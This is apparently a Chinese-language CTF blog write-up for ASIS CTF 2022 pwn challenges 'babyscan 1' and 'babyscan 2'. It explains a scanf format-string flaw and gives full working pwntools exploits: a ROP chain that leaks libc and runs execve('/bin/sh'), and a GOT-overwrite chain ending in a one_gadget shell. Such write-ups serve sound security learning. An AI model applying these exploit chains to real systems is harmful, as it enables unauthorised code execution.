ASIS CTF 2022 pwn - babyscan 1 & babyscan 2

2025-01-05

ASIS CTF 2022 pwn - babyscan 1 & babyscan 2

Author: 堇姬Naup

babyscan_1

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
return 1;
}

buf = (char*)alloca(atoi(size) + 1);

printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);

return 0;
}

__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}

首先讓你輸入一個size
並且alloca size + 1大小的在stack上(與 malloc 不同,alloca 分配的記憶體會在函數返回時自動釋放,不需要使用 free)

並且通過snprintf來構建fmt
https://www.runoob.com/cprogramming/c-function-snprintf.html

他長這樣

1
int snprintf ( char * str, size_t size, const char * format, ... );

單一一個%會被認為是fmt,所以使用%%來表示他是個str
之後%s表示size
所以是%%<size>s

第一個是轉義所以放到scanf內就是
scanf("%<size>s", buf)

分析

看一下保護

1
2
3
4
5
6
7
pwndbg> checksec
File: /home/naup/Desktop/ASISCTF/babyscan1/chall
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

沒PIE跟canary

這題很巧妙
首先是isdigit
https://www.runoob.com/python/att-string-isdigit.html
他會去檢查字串內是否有非數字
然而他寫爛了,通過*size的方式只會判斷該char array第一個是否為數字
因此通過構造2$之類的fmt來嘗試做任意寫
最終可以構造出
%1$s 這樣就可以對 buf寫上任意長度了

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/#_4

1
2
sla(b'size: ',b'1$s')
sla(b'data: ',b'a'*100)

這樣就控到rip了,好ㄟ

接下來就寫ROPchain leaklibc
跳回main在overflow一次
通過libc的gadget打ROP開個shell

exploit

我不知道為啥我的libc system address寫不上去stack,所以堆syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./chall')
debug_init()

else:
REMOTE_INFO=split_nc("nc naup.com 2000")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### exploit

printf_got = 0x404028
pop_rdi = 0x401433
puts_plt = 0x4010b0
main_addr = 0x401216

sla(b'size: ',b'1$s')
sla(b'data: ',b'a'*0x48 + p64(pop_rdi) + p64(printf_got) + p64(puts_plt) +p64(main_addr))

leaklibc = u64(rcl().strip().ljust(8,b'\x00'))
printf_offset = 0x606f0
libcbase = leaklibc - printf_offset

libc_binsh = libcbase + 0x1d8678
#system = libcbase + 0x50d70
pop_rdi = libcbase + 0x2a3e5
pop_rax = libcbase + 0x45eb0
syscall = libcbase + 0x29db4
pop_rsi = libcbase + 0x2be51
pop_rdx_rbx = libcbase + 0x904a9

sla(b'size: ',b'1$s')
sla(b'data: ', b'a'*0x48 + p64(pop_rdi) + p64(libc_binsh) + p64(pop_rax) + p64(0x3b) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0) +p64(0) +p64(syscall))

NAUPINFO("LEAKLIBC",hex(leaklibc))
NAUPINFO("LIBCBASE",hex(libcbase))
#NAUPINFO("LIBCSYSTEM",hex(libc_system))
### interactive
ita()

babyscan_2

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
exit(1);
}

buf = (char*)malloc(atoi(size) + 1);

printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);

exit(0);
}

__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}

基本上跟上一題一樣,只是變成了malloc
代表沒有辦法簡單的通過overflow buf來打ROP
並且最後的return 0改成了exit

分析

他有給libc,把他patch上去
這邊用我CTFlib的patchelf bash script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

read -p "Your libc and ld version: " VERSION

chmod +x libc-${VERSION}.so
chmod +x ld-${VERSION}.so

echo "**success chmod**"
ls

read -p "Your binary name: " BINARY

patchelf --set-interpreter ./ld-${VERSION}.so ${BINARY}
patchelf --replace-needed libc.so.6 ./libc-${VERSION}.so ${BINARY}

接下來檢查保護

1
2
3
4
5
6
7
pwndbg> checksec
File: /home/naup/Desktop/ASISCTF/babyscan2/chall
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

跟上一題一樣

既然沒辦法寫第一個參數,也就是buf,因為在heap overflow沒辦法控rip
這邊就可以嘗試overflow在其他參數

嘗試送這段payload可以發現
b'10$s'+b'aaaa'+b'b'*0x20

可以發現他在rsp + 0x18的地方會填上我們輸入的b

rsp + 0x18 是 9$
故可以通過這個來任意寫

現在得到了任意寫了然後要leaklibc
這裡就是這題的難點(雖然也算老梗了)

簡單來說,第一步我們先把exit改成main
這樣可以獲得無限的任意寫

這邊有蠻多小細節的
像是size只接收15個byte
然後送main address時要記的少送一個byte,讓0xa不要蓋到重要資訊
他會卡在scanf裡面rsi+0x68引用到no access address

接下來關注到setbuf stdin stdout stderr

把setbuf GOT改成puts plt
stderr GOT改成其他function GOT
這樣就可以把libc印出來了

另外還有個坑點就是scanf會過濾\x20也就是空白,因此0x404020需要往前一個byte
這樣才不會被過濾

之後再把exit 改回start,讓他重跑一次setbuf那
就會把libc印出來了
PS: 變成了puts(atoi_got)來印libc

之後就把exit改成onegadget就行了
這條在跳進去exit時是符合的

1
2
3
4
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

這樣就getshell成功

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./chall')
debug_init()

else:
REMOTE_INFO=split_nc("nc naup.com 2000")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### exploit

main_addr = 0x401256
exit_got = 0x404058

sla(b'size: ',b'9$s'+b'aaaaa'+p64(exit_got)[:-1])
sla(b'data: ',p64(main_addr)[:-1])

stderr_got = 0x4040a0
setbuf_got = 0x404020
atoi_got = 0x404048
puts_plt = 0x4010d0

sla(b'size: ',b'9$s'+b'aaaaa'+p64(stderr_got)[:-1])
sla(b'data: ',p64(atoi_got)[:-1])

sla(b'size: ',b'9$s'+b'aaaaa'+p64(setbuf_got-0x1)[:-1])
#print(p64(setbuf_got - 0x1))
sla(b'data: ',b'\x00'+p64(puts_plt)[:-1])

sla(b'size: ',b'9$s'+b'aaaaa'+p64(exit_got)[:-1])
sla(b'data: ',p64(0x401170)[:-1])

leaklibc = u64(rcls(3)[2].strip().ljust(8,b'\x00'))
libcbase = leaklibc - 0x445b0

onegadget = libcbase + 0xe3b01

#sla(b'size: ',b'9$s'+b'aaaaa'+p64(exit_got)[:-1])
#sla(b'data: ',p64(main_addr)[:-1])

sla(b'size: ',b'9$s'+b'aaaaa'+p64(exit_got)[:-1])
sla(b'data: ',p64(onegadget)[:-1])

NAUPINFO("LEAKLIBC",hex(leaklibc))
NAUPINFO("LIBCBASE",hex(libcbase))
NAUPINFO("Onegadget",hex(onegadget))
### interactive

ita()

after all

突然看到感覺蠻有趣的就寫了一下
結果第二題我打了快一小時,原因是我一直看錯,導致我算出來的libcbase是錯的www